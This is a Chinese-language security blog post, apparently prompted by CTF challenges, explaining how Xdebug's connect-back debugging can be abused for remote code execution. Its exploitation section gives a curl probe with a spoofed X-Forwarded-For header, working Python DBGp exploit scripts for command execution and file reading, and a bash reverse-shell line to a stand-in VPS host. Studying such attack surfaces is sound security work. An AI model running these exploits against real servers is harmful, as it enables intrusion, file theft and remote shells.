关于Xdebug的那些事儿

Xdebug是一个PHP扩展,为 PHP 脚本与调试器客户端提供了一个接口,可以远程调试服务器上的PHP代码,使用DBGp协议进行交互。

前段时间WHCTF的一道题目考察了利用Xdebug进行攻击的方法,n1ctf上easy&hard php也出现了能够利用Xdebug的非预期解法。本文即介绍一下关于Xdebug的那些事儿。


Xdebug介绍

Xdebug是一个PHP扩展,为 PHP 脚本与调试器客户端提供了一个接口,可以远程调试服务器上的PHP代码。很多开发者和安全研究人员通常会在本地搭建一套PHP的调试环境,用于日常的开发和调试。Xdebug使用DBGp协议进行交互,这个协议也是下文利用Xdebug进行攻击的基础。

Xdebug的工作原理

IDE(如phpstorm)已经集成了一个遵循DBGp的Xdebug插件,当开启它的时候,会在本地开一个Xdebug调试服务,监听在调试端口(默认是9000)上,这个服务会监听所有到9000端口的连接。

当浏览器发送一个带XDEBUG_SESSION_START的参数的请求到服务器时,服务器接手后将其转到后端的php处理,如果php开启了Xdebug模块,则会将debug信息转发到客户端IP的IDE的调试端口上。

Xdebug有两种调试模式,一种是固定IP调试:

这是Xdebug的默认模式,参数为

xdebug.remote_connect_back = 0

这种情况下,Xdebug 在收到调试通知时会读取配置 xdebug.remote_hostxdebug.remote_port ,默认是向 localhost:9000发送通知,这种方式只适合单一客户端开发调试。

另一种是动态IP调试:

xdebug.remote_connect_back = 1

此情况下Xdebug根据请求来源(REMOTE_HOST)来发起调试,当用户的请求参数或者Cookie中不带调试信息,数据流就是浏览器到Web容器再到PHP,如果加上了调试参数,则请求还会由PHP转给Xdebug处理,Xdebug再把信息转发给IDE,完成调试功能。

利用Xdebug执行远程命令

1.判断方法

对应上文的动态IP调试,如果服务器开启了Xdebug的回连,并且攻击者能直接访问到服务器的话,可以直接造成远程代码执行。

当我们在Web页面的phpinfo()中看到Xdebug的参数配置为

xdebug.remote_connect_back = 1 //开启回连
xdebug.remote_enable = 1 //开启远程debug
xdebug.remote_log =  /tmp/test.log

时,即可使用Xdebug进行连接,尝试命令执行。

但当无法从phpinfo()中确定Xdebug状态时,我们可以通过一个简单的curl命令测试远程服务器是否存在此漏洞:

首先监听自己的vps的9000端口

everglow@ubuntu:~# nc -l -vv -p 9000
Listening on [0.0.0.0] (family 0, port 9000)

然后执行

curl 'http://TARGET_IP/index.php?XDEBUG_SESSION_START=phpstrom' -H "X-Forwarded-For: VPS_IP"

(Xdebug采用HTTP请求头中的X-Forwarded-For字段作为DBGp协议的回连地址,因此这里是通过X-Forwarded-For头进行判断)

当监听端口得到类似以下的回显

498<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///C:/phpStudy/WWW/zzcms/index.php" language="PHP" xdebug:language_version="5.6.19" protocol_version="1.0" appid="11716" idekey="PHPSTORM"><engine version="2.4.1"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2016 by Derick Rethans]]></copyright></init>

则说明Xdebug开启了回连,可以进行利用。

2.利用方式

上文提到Xdebug使用DBGp协议进行交互,我们利用Xdebug进行攻击,实际是利用的协议中一些比较危险的命令,如可以读取文件内容的source、执行命令的eval、存在代码注入的property_set等。在这里不再展开,可以参考DBGp的规范文档:

https://xdebug.org/docs-dbgp.php

Ricterz师傅写好了exp:

#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

在vps上执行脚本后,如上文所述监听vps端口,执行curl触发Xdebug,即可执行命令

>>  system("whoami")

反弹shell

bash -i >& /dev/tcp/vps_ip/8888 0>&1

进行等等操作。我们也可以不使用eval命令,而是通过source的方式直接读取文件,则exp修改为

#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('source -i 1 -f file:///%s\x00' % data)

进行同上的操作后,即可通过相对路径方式读取文件:

>> index.php

也可以绝对路径方式读取:

>> C:/phpStudy/WWW/zzcms/index.php

参考链接:

https://paper.seebug.org/558/

https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface

http://xxlegend.com/2017/05/23/PhpStorm%20Xdebug%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90%E5%8F%8A%E9%97%AE%E9%A2%98%E6%8E%92%E6%9F%A5/

https://blog.spoock.com/2017/09/19/xdebug-attack-surface/

文章目录
  1. 1. Xdebug介绍
  2. 2. Xdebug的工作原理
  3. 3. 利用Xdebug执行远程命令
    1. 3.1. 1.判断方法
    2. 3.2. 2.利用方式
|